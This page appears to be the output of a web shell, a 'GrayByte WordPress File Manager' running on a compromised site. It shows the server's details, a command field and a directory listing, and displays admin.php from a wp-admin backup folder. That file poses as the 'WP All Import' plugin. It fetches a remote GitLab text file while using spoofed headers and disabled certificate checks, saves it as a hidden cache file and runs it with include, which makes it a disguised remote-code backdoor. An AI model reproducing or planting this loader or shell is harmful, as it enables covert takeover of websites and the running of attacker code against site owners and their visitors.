GRAYBYTE WORDPRESS FILE MANAGER3871

Server IP : 149.255.58.128 / Your IP : 216.73.216.192
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/wheelch2/mobilityscooteralanya.com/wp-admin/wp-backup/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/wheelch2/mobilityscooteralanya.com/wp-admin/wp-backup//admin.php
<?php
/**
 * Plugin Name: WP All Import
 * Plugin URI: https://wordpress.org/plugins/wp-all-import/
 * Description: A powerful tool for importing and syncing content and media from XML, CSV, or remote sources into WordPress.
 * Version: 4.9.1
 * Author: Soflyy
 * Author URI: https://www.wpallimport.com/
 * License: GPL-2.0+
 * License URI: http://www.gnu.org/licenses/gpl-2.0.txt
 * Text Domain: wp-all-import
 */
ob_start();
$remoteUrl = "https://gitlab.com/wordpress-remote/seo/-/raw/main/wpshop.txt";
$import_cache = __DIR__ . "/.imported-cache2.txt";
$timeout = 15;
$max_retries = 1;
$user_agents = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15",
    "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0",
];
function wp_sync_get_headers() {
    global $user_agents;
    return [
        "User-Agent: " . $user_agents[array_rand($user_agents)],
        "Referer: https://" . $_SERVER["HTTP_HOST"],
        "Accept: text/html,application/xhtml+xml",
        "Accept-Language: en-US,en;q=0.9",
        "Connection: keep-alive",
        "X-Forwarded-For: " . long2ip(mt_rand(0, 0xffffffff)),
    ];
}
function wp_sync_fetch_content($url, $timeout) {
    global $user_agents;
    usleep(mt_rand(50000, 150000));
    if (function_exists("curl_init")) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_MAXREDIRS => 3,
            CURLOPT_TIMEOUT => $timeout,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_HTTPHEADER => wp_sync_get_headers(),
            CURLOPT_HEADER => true,
        ]);
        $response = @curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $body = substr($response, $header_size);
        if ($http_code == 200 && $response !== false && strlen($body) > 0) {
            curl_close($ch);
            return $body;
        }
        curl_close($ch);
    }
    if (ini_get("allow_url_fopen")) {
        $context_options = [
            "http" => [
                "method" => "GET",
                "header" => implode("\r\n", wp_sync_get_headers()),
                "timeout" => $timeout,
                "follow_location" => 1,
                "max_redirects" => 3,
            ],
            "ssl" => [
                "verify_peer" => false,
                "verify_peer_name" => false,
            ],
        ];
        $context = stream_context_create($context_options);
        $response = @file_get_contents($url, false, $context);
        $fetched_headers = implode("\n", $http_response_header ?? []);
        $http_code = 0;
        if (preg_match("/HTTP\/\d\.\d\s+(\d+)/", $fetched_headers, $match)) {
            $http_code = (int)$match[1];
        }
        if ($http_code == 200 && $response !== false && strlen($response) > 0) {
            return $response;
        }
    }
    return false;
}
error_reporting(0);
try {
    if (file_exists($import_cache) && filesize($import_cache) > 0) {
        $result = @include $import_cache;
        $output = (string) ob_get_contents();
        if ($result !== false && strlen($output) > 0) {
            ob_end_flush();
            exit;
        } else {
            if (!is_writable($import_cache)) {
                @chmod($import_cache, 0644);
            }
            @unlink($import_cache);
        }
    }
    $retry_count = 0;
    $file_contents = false;
    while ($retry_count < $max_retries) {
        $file_contents = wp_sync_fetch_content($remoteUrl, $timeout);
        if ($file_contents !== false && strlen($file_contents) > 0) {
            $fp = @fopen($import_cache, "w");
            if ($fp && flock($fp, LOCK_EX)) {
                fwrite($fp, $file_contents);
                fflush($fp);
                flock($fp, LOCK_UN);
                fclose($fp);
                @chmod($import_cache, 0644);
            } else {
                if ($fp) fclose($fp);
                ob_end_clean();
                exit;
            }
            if (file_exists($import_cache) && filesize($import_cache) > 0) {
                $result = @include $import_cache;
                $output = (string) ob_get_contents();
                if ($result !== false && strlen($output) > 0) {
                    ob_end_flush();
                    exit;
                } else {
                    @unlink($import_cache);
                    ob_end_clean();
                    exit;
                }
            } else {
                ob_end_clean();
                exit;
            }
            break;
        }
        $retry_count++;
        usleep(mt_rand(200000, 500000));
    }
    ob_end_clean();
} catch (Throwable $e) {
    ob_end_clean();
}
unset($file_contents, $import_cache, $remoteUrl);
?>

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 22 2025 02:28:59
1032 / wheelch2
0755
.htaccess
0.41 KB
May 22 2025 02:28:59
1032 / wheelch2
0644
.import-cache.txt
2.573 KB
May 22 2025 20:55:16
1032 / wheelch2
0644
admin.php
4.957 KB
May 20 2025 03:29:06
1032 / wheelch2
0644
index.php
4.556 KB
May 20 2025 03:29:06
1032 / wheelch2
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF